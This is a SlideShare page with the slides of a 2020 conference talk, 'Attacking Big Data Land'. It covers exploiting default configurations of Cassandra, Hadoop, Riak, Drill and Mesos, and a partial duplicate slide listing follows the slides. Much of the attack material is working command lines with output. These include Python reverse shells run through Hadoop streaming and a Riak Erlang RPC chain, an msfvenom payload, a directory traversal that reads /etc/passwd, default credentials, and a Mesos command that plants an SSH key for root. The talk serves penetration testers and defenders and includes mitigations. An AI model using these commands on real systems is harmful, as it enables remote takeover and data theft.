SlideShare a Scribd company logo

Attacking Big Data Land

•Download as PPTX, PDF•
•
Jeremy Brown
Jeremy Brown

In this talk, we'll break down how one can exploit an ecosystem that enables management, querying, processing, and storage of, yes you guessed it, copious amounts of data. Hadoop and its many friends have been making their way into companies analyzing (sometimes, after massively collecting...) such data for years now, but they also make it easy to find organizations deploying things internally with security either off by default or otherwise exposed to various critical misconfigurations and access control issues. If you're running engagements, this should also give you a headstart on what to look for, how to attack networks where these products are running along with a few good ways to make them more defendable. Because if you want to defend well, you need to optimize towards mitigating actual risk vs theoretical, and there's no better way to determine if attacks are real than trying them out yourself. Let's say you just want to better understand how to shell out on servers running Apache Cassandra, Drill, Mesos... well, it may add a few pages to your playbook. (FYI this is the version of the slides without a conference template-- hopefully NoConName will share the templated version online as well)

1 of 86
Attacking Big Land Jeremy Brown @NoConName 2020
Whom’i ● #offensive #defensive #bugs #shells #fun ● Been around the ‘block ○ MSFT, AMZN, NVDA, CRM, etc ● But at this very moment...
Attacking Big Data Land
Agenda I. Intro II. Attacking and bug hunting A. Cassandra and friends B. Hadoop and hadoopers C. Riak and “just Erlang stuff” D. Apache Drill and Mesos E. Some honorable mentions III. Conclusion
What is big data?
Landscape Image Credit https://gsec.hitb.org/materials/sg2017/COMMSEC%20D1%20-%20Thomas%20Debize%20and%20Mahdi%20Braik%20-%20Hadoop%20Safari%20- %20Hunting%20for%20Vulnerabilities.pdf
Testing ● Looking at a few different services that one may find in big data environments ● Focused on attacking default and common configurations ○ But various distros and packages may do many things differently ● Services may be run under privileged or non-privileged users ○ Tried to use the default/common ones here, but no guarantees ○ YMMY for which particular user account you end up shelling out on ● Some packages may run all or only a subset of services by default ○ Binding to localhost, network interface and associated network layout and firewall rules depend on specific environmental factors
Bugs vs Attacks ● There are bugs ○ These let you compromise the target generically, very repeatable ○ “There’s an RCE in Spark, I can ./pwn any version now” ● And there are attacks ○ Often specific to the environment, access control, configuration, etc ○ Repeatable, but often tailored and used within a broader goal ○ “I found a Redis open for business on the network and it contains the secrets I’m looking for”
Bugs vs Attacks ● Related, but different ● Either can be chained together with one or more to compliment each other ○ “I used an SSRF in the web app to hit metadata, used creds to access S3, found more creds and eventually escalated to admin horizontally in the network”
Common Bugs ● RCE due to some parser error ● Privilege escalation due to some missing checks ● Bypass in some security filters or validation ● Server performing some dangerous acts on behalf of the client ● Arbitrary file read, write, LFI, race condition, overflows, deserialization, etc
Common Attacks ● No authentication or authorization ● Default/weak credentials ○ admin:admin, cassandra:cassandra, root:hadoop, etc ● RCE by design ○ Gotta put auth in front of it ● SSRF by design ○ Or generally sweet talking internal services ● Bad assumptions on who can talk to the service ● Once creds or keys are stolen, own many or every things
Cassandra ● Apache Cassandra ○ NoSQL database server and management Reference https://cassandra.apache.org/
Cassandra ● No authN by default ○ “By default, Cassandra is configured with AllowAllAuthenticator which performs no authentication checks and therefore requires no credentials. It is used to disable authentication completely.” Reference https://cassandra.apache.org/doc/latest/operating/security.html
Cassandra ● Also no authZ by default
Cassandra ● Which means a normal user cannot add more superusers ○ Except... it can change the password of a superuser account ?! ● test@cqlsh> ○ create role test1 with password = 'password' and superuser = true and login = true; ■ Unauthorized: Error from server: code=2100 [Unauthorized] message="Only superusers can create a role with superuser status" ○ alter role cassandra with password = 'test'; ● $ cqlsh -u cassandra -p test ○ cassandra@cqlsh>
Cassandra ● Flip authorizer to CassandraAuthorizer in cassandra.yaml ● test@cqlsh> ○ alter role cassandra with password = 'test'; ■ Unauthorized: Error from server: code=2100 [Unauthorized] message="User test does not have sufficient privileges to perform the requested operation"
Cassandra ● Reading arbitrary client-side files using SOURCE
Cassandra ● Reading arbitrary client-side files using tables ○ cassandra@cqlsh> ■ create keyspace etc with replication = {'class':'SimpleStrategy', 'replication_factor':1}; ■ create table etc.passwd (a text PRIMARY KEY, b text, c text, d text, e text, f text, g text); ■ copy etc.passwd from '/etc/passwd' with delimiter = ':';
Cassandra ● Mitigate keyspace creation by turning on AuthZ ○ Users can’t create keyspaces, tables, etc ○ test@cqlsh> ■ create keyspace etc ... ● Unauthorized: Error from server: code=2100 [Unauthorized] message="User test has no CREATE permission on <all keyspaces> or any of its parents" ■ copy ... ● Failed to import 20 rows… ● Failed to import 17 rows: Unauthorized - Error from server: code=2100 [Unauthorized] message="User test has no MODIFY permission on <table etc.passwd> or any of its parents", given up after 5 attempts ● Failed to process 37 rows; failed rows written to import_etc_passwd.err
Cassandra Web ● Adds a web UI for Cassandra (instead of just cqlsh) ○ No authN by default nor is it built-in ■ Folks suggest you can just add HTTP basic auth yourself ■ So even if you turned authN on for Cassandra, now you’re exposing it post-auth ● Remember those client-side features? Reference https://www.rubydoc.info/gems/cassandra-web/
Cassandra Web ● File read commands should turn client-side -> server-side disclosure ○ SOURCE ‘/etc/passwd’ and copy ks.table from '/etc/passwd' both throw errors ○ “no viable alternative at input source” (?) ● But there’s plenty of stuff to do
Cassandra Web Directory traversal bug
Cassandra Web ● Remember when we tried to dump /etc/passwd into a table? ○ But failed because the test user didn’t have authorization to MODIFY $ curl cweb.host:3000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fimport_etc_passwd.err proxy:x:13:13:proxy:/bin:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin root:x:0:0:root:/root:/bin/bash ...
Cassandra Web ● Don’t disable Rack::Protection ○ Fixed on github the SAME DAY it was reported References https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be https://www.rubydoc.info/gems/rack-protection/1.4.0
Cassandra Web ● If you run this, try to limit the blast radius ○ Containerize it ○ Or at least sandbox it somehow, eg. AppArmor ■ aa-genprof ■ run the app ■ ...modify the profile (which was generated based on execution data) as needed ■ apparmor_parser -r /etc/apparmor.d/usr.local.bin.cassandra-web
Hadoop Default Install Off to a good start!
Hadoop ● No authentication = be who you want to be ○ Browse/modify the data lake ○ $ export HADOOP_USER_NAME=hadoop ○ $ hadoop fs -touch /abc ○ $ hadoop fs -ls / ■ -rw-r--r-- 3 hadoop supergroup 0 2020 17:00 /abc
Hadoop ● Authentication? ○ $ hadoop jar hadoop-streaming.jar -input /tmp/test -output /tmp/out - mapper "id" -reducer NONE ■ ... ■ ERROR streaming.StreamJob: Error Launching job : Permission denied: user=test, access=EXECUTE, inode="/tmp":root:supergroup:drwx------
Hadoop ● No authentication = be who you want to be ○ $ export HADOOP_USER_NAME=hadoop ○ $ hadoop jar hadoop-streaming.jar -input /test/test -output /test/out -mapper “id” -reducer NONE ○ $ hadoop fs -cat /test/out/part-00000 ■ uid=1001(hadoop) gid=1001(hadoop) groups=1001(hadoop)
Hadoop ● Authentication? Be who you want to be * ○ * (or whichever user which hadoop is running) ○ Local command execution ■ $ export HADOOP_USER_NAME=root ■ $ hadoop fs -mkdir /tmp/input ■ $ hadoop fs -touchz /tmp/input/123 ■ $ hadoop jar hadoop-streaming.jar -input /test/123 -output /tmp/out -mapper "id" -reducer NONE ● INFO mapreduce.Job: Job job_1603984220990_0006 completed successfully ■ $ hadoop fs -cat /tmp/out/part-00000 ● uid=0(root) gid=0(root) groups=0(root)
Hadoop ● Same with WebHDFS References https://hadoop.apache.org/docs/r1.2.1/webhdfs.html
Hadoop ● Authentication? Be who you want to be * ○ Remote command execution ○ Check if ports 8032 (yarn), 9000 (namenode), 50010 (hdfs) are open ■ $ nmap -p 8032,9000,50010 172.17.0.3 ● PORT STATE SERVICE ● 8032/tcp open pro-ed ● 9000/tcp open cslistener ● 50010/tcp open unknown
Hadoop ● Authentication? Be who you want to be * ○ Remote command execution ■ $ hadoop jar hadoop-streaming.jar -fs 172.17.0.3:9000 -jt 172.17.0.3:8032 -input /test/123 -output /tmp/out -mapper "id" - reducer NONE ● INFO mapreduce.Job: Running job: job_1604081764253_0010 ● INFO ipc.Client: Retrying connect to server: 0.0.0.0/0.0.0.0:10020. Already tried 9 time(s); retry policy is RetryUpToMaximumCountWithFixedSleep(maxRetries=10, sleepTime=1000 MILLISECONDS) ● Streaming Command Failed!
Hadoop ● Authentication? Be who you want to be * ○ Remote command execution ○ Did it fail? ■ $ hdfs dfs -cat hdfs://172.17.0.3:9000/tmp/out/part-00000 ● uid=0(root) gid=0(root) groups=0(root)
Hadoop ● Ok but shell, right? ○ $ msfvenom -p linux/x64/shell/reverse_tcp LHOST=172.17.0.2 LPORT=5555 -f elf -o shell.out ○ $ hadoop jar hadoop-streaming.jar -fs 172.17.0.3:9000 -jt 172.17.0.3:8032 -input /test/123 -output /tmp/out -file shell.out - mapper "./shell.out" -reducer NONE -background ● For some reason this wasn’t working ○ Would get a connect back, but no shell :’(
Hadoop ● Ok but shell, right? ○ $ hadoop jar hadoop-streaming.jar -fs 172.17.0.3:9000 -jt 172.17.0.3:8032 -input /test/123 -output /tmp/out -mapper "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREA M);s.connect(("172.17.0.2",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" -reducer NONE -background
Hadoop ● Ok but shell, right? ○ $ while true; do nc -v -l -p 5555; done ■ listening on [any] 5555 ... ■ connect to [172.17.0.2] from (UNKNOWN) [172.17.0.3] 51740 ■ <64253_0025/container_1604081764253_0025_01_000002# id ● uid=0(root) gid=0(root) groups=0(root) ■ <64253_0025/container_1604081764253_0025_01_000002# pwd ● /tmp/hadoop-root/nm-local- dir/usercache/root/appcache/application_1604081764253_0025/co ntainer_1604081764253_0025_01_000002
Hadoop ● So, turn security ON?
Apache Knox and Ranger ● TLDR; ○ Knox = authentication ○ Ranger = authorization References https://docs.cloudera.com/runtime/7.2.0/knox-authentication/topics/security-knox-securing-access-hadoop-clusters-apache-knox.html https://ranger.apache.org/
Apache Knox and Ranger Image Credit https://medium.com/@takkarharsh/authorization-of-services-using-knox-ranger-and-ldap-on-hadoop-cluster-35843a9e6cdb
Hadoop ● So make sure to keep it inside the local network ○ NOT internet facing for any rea….. References https://www.shodan.io/search?query=Hadoop+IPC+port
Riak ● Riak KV ○ NoSQL key-value database ● Default install ○ riak start ■ Listens on 0.0.0.0:[high port] with “cookie” auth ○ HTTP service on localhost:8098 ■ Read and even PUT data, call /mapred, etc ○ Other services which may be interesting References https://riak.com/products/riak-kv/index.html
Riak ● Locally browse the filesystem as the riak running user ○ $ riak admin describe test ■ Invalid config keys: test ○ $ riak admin describe * ■ Invalid config keys: Desktop Documents Downloads Music Pictures Public Templates Videos ○ $ riak admin describe /var/* ■ Invalid config keys: /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/www
Riak ● Step 1: get cookie ○ $ ps -aux | grep cookie ■ /opt/riak/rel/riak/bin/riak -scl false -sfwi 500 -P 256000 -e 256000 -Q 262144 -A 64 -K true -W w -Bi -zdbbl 32768 ... -config ./releases/3.0/sys.config -setcookie riak ● Step 2: local command execution ○ test@ubuntu:~$ erl -name test@localhost -setcookie riak -remsh riak@127.0.0.1 ■ (riak@127.0.0.1)1> os:cmd("id;pwd"). ● "uid=1000(user) gid=1000(user) groups=1000(user)n/opt/riak/rel/riakn" References https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Riak ● Remote command execution? ○ (configure node name and update /etc/hosts on attacking terminal for hostname resolution) ○ $ erl -name test@ubuntu.test -setcookie riak -remsh riak@ubuntu.test ■ (riak@ubuntu.test)1> os:cmd("id;pwd"). ■ *** ERROR: Shell process terminated! (^G to start new job) ***
Riak ● WHAT IF instead of trying to use erl directly ○ We just set up another riak node with the same default cookie ● BINGO’ish ○ $ riak eval "rpc:call('riak@ubuntu.test', os, cmd, [id])." ■ "uid=1000(user) gid=1000(user) groups=1000(user)n" ○ $ riak eval "rpc:call('riak@ubuntu.test', os, cmd, [“id;pwd”])." ■ escript: exception error: no match of right hand side value ● Doesn’t like spaces, special characters, other syntax, etc
Riak ● Tried a few other things ○ Other process spawning things ■ $ riak eval "erlang:spawn('riak@ubuntu.test', os, cmd, ["id"])." ● <9718.14141.56> ● (running exec-notify on the other box) ○ pid=3874367 executed [id ] ○ Read files and list dirs, but only in the current directory ■ riak eval "rpc:call('riak@ubuntu.test', file, read_file, ["test"])." ■ riak eval "rpc:call('riak@ubuntu.test', file, list_dir, ["log"])." ● {ok,["console.log","crash.log.0",...]}
Riak ● More digging through http://erlang.org/doc/man/ ○ (over)write files in current directory ■ riak eval "rpc:call('riak@ubuntu.test', file, write_file, ["test123", []])." ○ Change the current working directory (up only) ■ riak eval "rpc:call('riak@ubuntu.test', file, set_cwd, ["etc"])." ■ riak eval "rpc:call('riak@ubuntu.test', os, cmd, ["ls"])." ● "advanced.configndatanlognriak.confn" ○ file:delete_d_r, file:make_symlink, heart:set_cmd, os:putenv, etc ■ Most either have character restrictions or failed otherwise
Riak ● Get a reverse shell with a single command? ○ Only run one command with no args ○ No specifying paths, executable must be in local PATH
Riak ● Exploit chain for RCE ○ 1. Find a useful PATH that we can pivot up into ■ rpc:call('riak@ubuntu.test', os, cmd, ["env"]). ● "...nPATH=/opt/riak/rel/riak/erts- 10.6.4/bin:/opt/riak/rel/riak/bin:/opt/riak/.local/bin:/usr/l ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/g ames:/usr/local/games ○ Check our current path ■ rpc:call('riak@ubuntu.test', os, cmd, ["pwd"]). ● "/opt/riak/rel/riakn"
Riak ● Exploit chain for RCE ○ 2. Change into the bin folder which is in our PATH ■ rpc:call('riak@ubuntu.test', file, set_cwd, ["bin"]). ○ 3. Find an executable in bin that “we won’t miss” ■ rpc:call('riak@ubuntu.test', os, cmd, ["ls"]). ■ "cf_configncuttlefishndatanhooksninstall_upgrade.escriptnlog nnodetool...
Riak ● Exploit chain for RCE ○ 4. Craft our payload and overwrite the executable file ■ (perhaps call copy on the executable beforehand and save the original) ■ Passing “id” to file:write_file results in {error,badarg} ■ rpc:call('riak@ubuntu.test', file, write_file, ["cf_config", [105,100]]). ○ Verify the file (for good measure) ■ rpc:call('riak@ubuntu.test', file, read_file, ["cf_config"]). ● {ok,<<"id">>}
Riak ● Exploit chain for RCE ○ Writing file data in Erlang bytecode is.. “fun” ■ Wrote estr2bc.py to map strings to bytecode ■ So let’s skip executing commands and go straight to shell References https://elixirforum.com/t/how-to-get-the-binary-representation-of-a-module/18006/3 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Riak ● Exploit chain for RCE ○ Modify a payloads-all-the-things reverse shell ■ estr2bc.py "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S TREAM);s.connect(("10.0.0.100",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" ● [112,121,116,104,111,110,32,45,99,32,39,105,109,112,111,114,1 16,32,115,111,99,107,101,116,44,115,117,98,112,114,111,99,101 ,115,115,44,111,115,59,115,61,115,111,99,107,101,116,...] References estr2bc.py should be available on Packetstorm
Riak ● Exploit chain for RCE ○ 5. Start our listener for the shell and execute the payload ■ rpc:call('riak@ubuntu.test', os, cmd, ["cf_config"]). ■ [test@localhost ~]$ nc -l -p 5555 ■ ... ● user@ubuntu:~/opt/riak/rel/riak/bin$ id ● uid=1000(user) gid=1000(user) groups=1000(user)
Riak ● Recap for shell from a single command + navigating paths + calling functions ○ Execute env for PATH ○ Call set_cwd to bin in PATH ○ Select executable file in bin to overwrite ○ Generate bytecode payload and replace executable ○ Run the new executable
Riak ● Change those default cookies ○ You only want all of your nodes to communicate References ../etc/riak.conf
Riak References https://docs.riak.com/riak/kv/latest/using/security/basics/index.html#security-checklist
References https://broot.ca/erlang-remsh-is-dangerous.html
Apache Drill ● Schema-free SQL query engine ● Web interface on port 8049 ○ Embedded mode or Distributed mode ○ Anonymous access by default ○ Can run queries and create plugins (!) Image Credit https://www.slideshare.net/Hadoop_Summit/understanding-the-value-and-architecture-of-apache-drill
Apache Drill References http://drill-server:8047/storage
Apache Drill ● Create ○ Name: read ○ Config: reuse the dfs plugin, modify it to let us can read/write anywhere
Apache Drill ● Now we can… ○ Read files
Apache Drill ● Now we can… ○ Write files (as in copy)
Apache Drill ● Query logs Reference http://drill-server:8047/profiles
Apache Drill ● Tons of security docs for distributed mode ○ Not so much for Embedded mode, which is much easier to setup and run ○ Wonder which mode lots of users are going to choose… ● Enable PAM for authentication in conf/drill-override.conf ○ Then pass the -n <local user> -p <password> CLI params :’) Reference https://drill.apache.org/docs/using-libpam4j-as-the-pam-authenticator/
Apache Mesos ● Cluster compute manager and orchestration ○ Sort of like Kubernetes, but different ● Needs like 8gb ram minimum to compile ○ And it’s not even Java code :’) ● Listens on port 5050 ○ Localhost or network interface ● Authentication as usual is disabled by default
Apache Mesos ● So… you ask mesos master to do stuff, and it asks the agents to just do it? Reference http://mesos.apache.org/documentation/latest/architecture/
Apache Mesos ● mesos-execute ○ --task_group=file://task.json
Apache Mesos ● So literally throw that example in a JSON file ○ Change command value to whatever you like ○ Run it ■ $ LIBPROCESS_IP=10.0.0.2 mesos-execute --master=10.0.0.2:5050 -- task_group=file://task.json ○ Profit ● Or there’s a better way ○ $ mesos-execute --master=10.0.0.2:5050 --name=“test” -- command=”<insert payload here>”
Apache Mesos ● Agent will try to run commands as the actual user running mesos-execute ○ If you’re root on your box, and the agent is running as root, commands will run as such ■ So if you want remote root on the agent, you better have root on the attacking box :’) ○ If you’re logged in as notvalid (a user that doesn’t exist on the agent), then pound sand ■ Received status update TASK_DROPPED for task 'test' ■ message: 'Failed to create executor directory '/opt/mesos/slaves/d951a83c-37be-4212-b9b8-9241c618b272- S2840/frameworks/87333254-8ae1-4ad4-8ed5-caf83511b46c- 0009/executors/test/runs/dc91b882-99f0-43af-b74a-20ed15d7182c': Failed to chown directory to 'notvalid': No such user 'notvalid'' ■ source: SOURCE_AGENT ■ reason: REASON_EXECUTOR_TERMINATED
Apache Mesos ● Demo ○ # mesos-execute --master=10.0.0.2:5050 --name="test" --command="echo <b64 encoded public key> | base64 -d >> /root/.ssh/authorized_keys" ■ Subscribed with ID 87333254-8ae1-4ad4-8ed5-caf83511b46c-0046 ■ Submitted task 'test' to agent 'd951a83c-37be-4212-b9b8-9241c618b272-S2840' ■ Received status update TASK_STARTING for task 'test' ■ source: SOURCE_EXECUTOR ■ Received status update TASK_RUNNING for task 'test' ■ source: SOURCE_EXECUTOR ■ Received status update TASK_FINISHED for task 'test' ■ message: 'Command exited with status 0'
Apache Mesos ● Demo ○ $ ssh root@10.0.0.2 ■ [root@mesos ~]# id ● uid=0(root) gid=0(root) groups=0(root)
Apache Mesos Reference http://mesos.apache.org/documentation/latest/authentication/
Honorable Mentions
Apache Kudu ● kudu-master RPC listening on port 7051 ○ Written in C++, so fuzz++ ● Let’s go ○ $ bin/kudu-master --fs_wal_dir=/tmp/master --logtostderr … ○ $ tcpdump -i lo -X port 7051 -w kudu.pcap ○ $ bin/kudu master <pick a cmd so we can capture a session> ● Pass the session pcap to mutiny fuzzer ○ $ ./mutiny_prep.py kudu.pcap ○ $ ./mutiny.py kudu.fuzzer localhost References/Image Credit https://kudu.apache.org/ https://github.com/Cisco-Talos/mutiny-fuzzer https://netbsd.org/~kamil/fuzzer_art/krolik.png
Apache Kudu ● Success? ○ Nothing reproducible :’( 1019 00:02:13.193902 (+ 4334us) negotiation.cc:304] Negotiation complete: Invalid argument: Server connection negotiation failed: server connection from 127.0.0.1:37686: connection must begin with magic number: hrpc Metrics: {"server-negotiator.queue_time_us":32} @ 0x561412351c3b kudu::tablet::Tablet::GetBytesInAncientDeletedRowsets() @ 0x56141236f074 kudu::tablet::DeletedRowsetGCOp::UpdateStats() ... Aborted (core dumped)
Apache Kudu ● Always good to have process/fs monitoring running while fuzzing ● execsnoop or exec-notify, opensnoop, strace ○ Only prereq is that you have root on the box you’re testing ○ Exercise the app’s functions via fuzzing or manual execution ○ See if there are any tainted inputs that you’re triggering, check for various injections ● strace example ○ sudo strace -f -s 4096 -e trace=process,open,read,write,access -p <pid> 2>&1 | grep -v “stuff to ignore” References https://raw.githubusercontent.com/Symbiograph/linux-sensation/master/exec-notify.c https://github.com/brendangregg/perf-tools
Apache Sqoop ● Lots of exceptions and eventual DoS while fuzzing the metadata service ○ Replaying several thousand “list” requests References https://sqoop.apache.org
RabbitMQ ● Default cookie security is actually OK ○ $ rabbitmqctl -n rabbit@ubuntu.test status ○ ... ■ rabbit@ubuntu.test: ■ * connected to epmd (port 4369) on ubuntu.test ■ * epmd reports node 'rabbit' running on port 25672 ■ * TCP connection succeeded but Erlang distribution failed ■ * suggestion: hostname mismatch? ■ * suggestion: is the cookie set correctly? References https://www.rabbitmq.com/clustering.html#erlang-cookie
Summary ● Unauth’d services that can provide… ○ RCE or local shell ■ Hadoop ■ Riak ■ Mesos ○ Arbitrary file reads/writes, privilege escalation ■ Cassandra ■ Cassandra Web ■ Drill
Conclusion
Conclusion ● Solid authentication by default isn’t the norm in big data ○ Often tedious to setup or just not well integrated with the product ● Hopefully newer projects will do better ○ Make security always on, hard to disable and meaningful to the user ○ If it gets in the way, people will just turn it off.. and how can you blame them? Great resource to learn and explore more https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures
Conclusion ● For attackers ○ LOTS of options ○ Gaining access can mean one host or thousands ● For defenders ○ LOTS of work to do ○ Need to ensure configs are solid, network access is restricted, etc Great resource to learn and explore more https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures
Conclusion We fixed all the critical static analysis bugs ○ ...the design review was thorough ○ ...all the ACLs and configs are good ○ ...updated all the software packages ○ ...and we fuzzed all the things But... did you actually test it?
EOF Questions? >jbrown/32/64/gmail/com

More Related Content

Attacking Big Data Land

  • 1. Attacking Big Land Jeremy Brown @NoConName 2020
  • 2. Whom’i ● #offensive #defensive #bugs #shells #fun ● Been around the ‘block ○ MSFT, AMZN, NVDA, CRM, etc ● But at this very moment...
  • 4. Agenda I. Intro II. Attacking and bug hunting A. Cassandra and friends B. Hadoop and hadoopers C. Riak and “just Erlang stuff” D. Apache Drill and Mesos E. Some honorable mentions III. Conclusion
  • 5. What is big data?
  • 7. Testing ● Looking at a few different services that one may find in big data environments ● Focused on attacking default and common configurations ○ But various distros and packages may do many things differently ● Services may be run under privileged or non-privileged users ○ Tried to use the default/common ones here, but no guarantees ○ YMMY for which particular user account you end up shelling out on ● Some packages may run all or only a subset of services by default ○ Binding to localhost, network interface and associated network layout and firewall rules depend on specific environmental factors
  • 8. Bugs vs Attacks ● There are bugs ○ These let you compromise the target generically, very repeatable ○ “There’s an RCE in Spark, I can ./pwn any version now” ● And there are attacks ○ Often specific to the environment, access control, configuration, etc ○ Repeatable, but often tailored and used within a broader goal ○ “I found a Redis open for business on the network and it contains the secrets I’m looking for”
  • 9. Bugs vs Attacks ● Related, but different ● Either can be chained together with one or more to compliment each other ○ “I used an SSRF in the web app to hit metadata, used creds to access S3, found more creds and eventually escalated to admin horizontally in the network”
  • 10. Common Bugs ● RCE due to some parser error ● Privilege escalation due to some missing checks ● Bypass in some security filters or validation ● Server performing some dangerous acts on behalf of the client ● Arbitrary file read, write, LFI, race condition, overflows, deserialization, etc
  • 11. Common Attacks ● No authentication or authorization ● Default/weak credentials ○ admin:admin, cassandra:cassandra, root:hadoop, etc ● RCE by design ○ Gotta put auth in front of it ● SSRF by design ○ Or generally sweet talking internal services ● Bad assumptions on who can talk to the service ● Once creds or keys are stolen, own many or every things
  • 12. Cassandra ● Apache Cassandra ○ NoSQL database server and management Reference https://cassandra.apache.org/
  • 13. Cassandra ● No authN by default ○ “By default, Cassandra is configured with AllowAllAuthenticator which performs no authentication checks and therefore requires no credentials. It is used to disable authentication completely.” Reference https://cassandra.apache.org/doc/latest/operating/security.html
  • 14. Cassandra ● Also no authZ by default
  • 15. Cassandra ● Which means a normal user cannot add more superusers ○ Except... it can change the password of a superuser account ?! ● test@cqlsh> ○ create role test1 with password = 'password' and superuser = true and login = true; ■ Unauthorized: Error from server: code=2100 [Unauthorized] message="Only superusers can create a role with superuser status" ○ alter role cassandra with password = 'test'; ● $ cqlsh -u cassandra -p test ○ cassandra@cqlsh>
  • 16. Cassandra ● Flip authorizer to CassandraAuthorizer in cassandra.yaml ● test@cqlsh> ○ alter role cassandra with password = 'test'; ■ Unauthorized: Error from server: code=2100 [Unauthorized] message="User test does not have sufficient privileges to perform the requested operation"
  • 17. Cassandra ● Reading arbitrary client-side files using SOURCE
  • 18. Cassandra ● Reading arbitrary client-side files using tables ○ cassandra@cqlsh> ■ create keyspace etc with replication = {'class':'SimpleStrategy', 'replication_factor':1}; ■ create table etc.passwd (a text PRIMARY KEY, b text, c text, d text, e text, f text, g text); ■ copy etc.passwd from '/etc/passwd' with delimiter = ':';
  • 19. Cassandra ● Mitigate keyspace creation by turning on AuthZ ○ Users can’t create keyspaces, tables, etc ○ test@cqlsh> ■ create keyspace etc ... ● Unauthorized: Error from server: code=2100 [Unauthorized] message="User test has no CREATE permission on <all keyspaces> or any of its parents" ■ copy ... ● Failed to import 20 rows… ● Failed to import 17 rows: Unauthorized - Error from server: code=2100 [Unauthorized] message="User test has no MODIFY permission on <table etc.passwd> or any of its parents", given up after 5 attempts ● Failed to process 37 rows; failed rows written to import_etc_passwd.err
  • 20. Cassandra Web ● Adds a web UI for Cassandra (instead of just cqlsh) ○ No authN by default nor is it built-in ■ Folks suggest you can just add HTTP basic auth yourself ■ So even if you turned authN on for Cassandra, now you’re exposing it post-auth ● Remember those client-side features? Reference https://www.rubydoc.info/gems/cassandra-web/
  • 21. Cassandra Web ● File read commands should turn client-side -> server-side disclosure ○ SOURCE ‘/etc/passwd’ and copy ks.table from '/etc/passwd' both throw errors ○ “no viable alternative at input source” (?) ● But there’s plenty of stuff to do
  • 23. Cassandra Web ● Remember when we tried to dump /etc/passwd into a table? ○ But failed because the test user didn’t have authorization to MODIFY $ curl cweb.host:3000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fimport_etc_passwd.err proxy:x:13:13:proxy:/bin:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin root:x:0:0:root:/root:/bin/bash ...
  • 24. Cassandra Web ● Don’t disable Rack::Protection ○ Fixed on github the SAME DAY it was reported References https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be https://www.rubydoc.info/gems/rack-protection/1.4.0
  • 25. Cassandra Web ● If you run this, try to limit the blast radius ○ Containerize it ○ Or at least sandbox it somehow, eg. AppArmor ■ aa-genprof ■ run the app ■ ...modify the profile (which was generated based on execution data) as needed ■ apparmor_parser -r /etc/apparmor.d/usr.local.bin.cassandra-web
  • 26. Hadoop Default Install Off to a good start!
  • 27. Hadoop ● No authentication = be who you want to be ○ Browse/modify the data lake ○ $ export HADOOP_USER_NAME=hadoop ○ $ hadoop fs -touch /abc ○ $ hadoop fs -ls / ■ -rw-r--r-- 3 hadoop supergroup 0 2020 17:00 /abc
  • 28. Hadoop ● Authentication? ○ $ hadoop jar hadoop-streaming.jar -input /tmp/test -output /tmp/out - mapper "id" -reducer NONE ■ ... ■ ERROR streaming.StreamJob: Error Launching job : Permission denied: user=test, access=EXECUTE, inode="/tmp":root:supergroup:drwx------
  • 29. Hadoop ● No authentication = be who you want to be ○ $ export HADOOP_USER_NAME=hadoop ○ $ hadoop jar hadoop-streaming.jar -input /test/test -output /test/out -mapper “id” -reducer NONE ○ $ hadoop fs -cat /test/out/part-00000 ■ uid=1001(hadoop) gid=1001(hadoop) groups=1001(hadoop)
  • 30. Hadoop ● Authentication? Be who you want to be * ○ * (or whichever user which hadoop is running) ○ Local command execution ■ $ export HADOOP_USER_NAME=root ■ $ hadoop fs -mkdir /tmp/input ■ $ hadoop fs -touchz /tmp/input/123 ■ $ hadoop jar hadoop-streaming.jar -input /test/123 -output /tmp/out -mapper "id" -reducer NONE ● INFO mapreduce.Job: Job job_1603984220990_0006 completed successfully ■ $ hadoop fs -cat /tmp/out/part-00000 ● uid=0(root) gid=0(root) groups=0(root)
  • 31. Hadoop ● Same with WebHDFS References https://hadoop.apache.org/docs/r1.2.1/webhdfs.html
  • 32. Hadoop ● Authentication? Be who you want to be * ○ Remote command execution ○ Check if ports 8032 (yarn), 9000 (namenode), 50010 (hdfs) are open ■ $ nmap -p 8032,9000,50010 172.17.0.3 ● PORT STATE SERVICE ● 8032/tcp open pro-ed ● 9000/tcp open cslistener ● 50010/tcp open unknown
  • 33. Hadoop ● Authentication? Be who you want to be * ○ Remote command execution ■ $ hadoop jar hadoop-streaming.jar -fs 172.17.0.3:9000 -jt 172.17.0.3:8032 -input /test/123 -output /tmp/out -mapper "id" - reducer NONE ● INFO mapreduce.Job: Running job: job_1604081764253_0010 ● INFO ipc.Client: Retrying connect to server: 0.0.0.0/0.0.0.0:10020. Already tried 9 time(s); retry policy is RetryUpToMaximumCountWithFixedSleep(maxRetries=10, sleepTime=1000 MILLISECONDS) ● Streaming Command Failed!
